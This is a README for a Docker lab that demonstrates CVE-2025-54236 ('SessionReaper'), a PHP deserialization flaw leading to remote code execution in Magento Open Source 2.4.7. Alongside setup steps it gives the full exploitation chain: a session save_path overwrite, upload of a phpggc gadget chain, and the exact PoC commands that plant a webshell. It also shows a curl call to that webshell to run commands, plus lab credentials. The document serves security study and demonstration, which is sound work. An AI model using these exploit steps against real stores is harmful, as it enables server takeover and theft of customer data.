
Ambiente Docker para demonstração prática da CVE-2025-54236 (SessionReaper): PHP Object Deserialization levando a RCE em Magento Open Source 2.4.7
Docker environment for practical demonstration of CVE-2025-54236 (SessionReaper): PHP Object Deserialization leading to RCE in Magento Open Source 2.4.7.
Exclusive use in controlled environment. Do not run against systems without explicit authorization.
CVE-2025-54236 affects Magento Open Source and Adobe Commerce up to version 2.4.7. The ServiceInputProcessor::getConstructorData() method accepts nested parameters via JSON that allow overwriting session.save_path - the folder where PHP stores session files.
Exploitation chain:
Guzzle/FW1 via phpggc) is sent via /customer/address_file/upload, which saves it to pub/media/customer_address/s/e/sess_<id>.{"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}} as a constructor parameter.session_start() with the fabricated PHPSESSID, deserializes the gadget chain, and writes a webshell to pub/errors/.Prerequisite: PHP sessions configured as file-based (not Redis/Memcached).
magento/
├── lab-magento/ # Docker lab (Magento 2.4.7 vulnerable)
│ ├── Dockerfile # PHP 8.2-FPM with Magento extensions
│ ├── docker-compose.yml # Stack: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
│ ├── .env # Environment settings
│ ├── conf/
│ │ ├── nginx/ # Nginx VirtualHost
│ │ └── php/magento.ini # File-based sessions, memory_limit=2G
│ └── scripts/
│ ├── 01-install.sh # Full installation from scratch
│ └── 02-demo-setup.sh # Prepare product, payload, and print instructions
├── SessionReaper-CVE-2025-54236/
│ └── session_reaper.py # Main PoC (author: alexb616)
└── payloads/
├── shell.php # Webshell with single quotes (avoids JSON escape)
└── sess_payload.bin # Serialized gadget chain (generated by script)
docker compose)ambionics/phpggc image availablesession_reaper.py searches for the binary in: system PATH, ~/phpggc/phpggc, /opt/phpggc/phpggc and, as a fallback, pulls the Docker image ambionics/phpggc automaticallyrequests (pip install requests)sudo sysctl -w vm.max_map_count=262144 for Elasticsearch)cd lab-magento
# 1. Install Magento 2.4.7 from scratch (~25 minutes)
bash scripts/install.sh
The install.sh does:
composer install --no-devsetup:install with file-based sessionsdefault (not developer - prevents PHP 8.2 warnings from becoming exceptions)setup:static-content:deploywww-data permissions at all stagesAfter installation, from the root directory (/magento/):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method order \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
Verify RCE:
curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Alternative method (address vector, with real product):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method address \
--sku DEMO-001 \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
| Service | URL / Host | Credential |
|---|---|---|
| Magento Store | http://localhost:8080/ | - |
| Magento Admin | http://localhost:8080/admin/ | admin / Admin123! |
| MySQL | localhost:3306 | magento / magento |
| Elasticsearch | localhost:9200 | - |
The admin URI is randomly generated during installation. To find it:
docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
# Sessions created by the exploit
docker exec lab_magento_php ls -la /var/www/html/var/session/
# Malicious session file in media/
docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
# Real-time logs
docker logs lab_magento_nginx -f
docker logs lab_magento_php -f
# Remove webshell
docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
# Stop containers
docker compose -f lab-magento/docker-compose.yml down
# Destroy everything (containers + volumes)
docker compose -f lab-magento/docker-compose.yml down -v
Why single quotes in the webshell?
The phpggc Guzzle/FW1 serializes the payload as JSON: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]. The PHP content is JSON-encoded, so " becomes \". Using $_GET["cmd"] would result in $_GET[\"cmd\"] - PHP parse error. The solution is to write the webshell with single quotes: $_GET['cmd'].
Why default mode and not developer?
Magento in developer mode converts all PHP warnings into exceptions. PHP 8.2 emits Warning: Trying to access array offset on null in lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114, which becomes a 500 exception in the admin. In default mode the warning is ignored.
Why are the files in s/e/?
Magento organizes address uploads in pub/media/customer_address/{1st char}/{2nd char}/filename. For sess_* files, the first character is s and the second is e, always resulting in pub/media/customer_address/s/e/.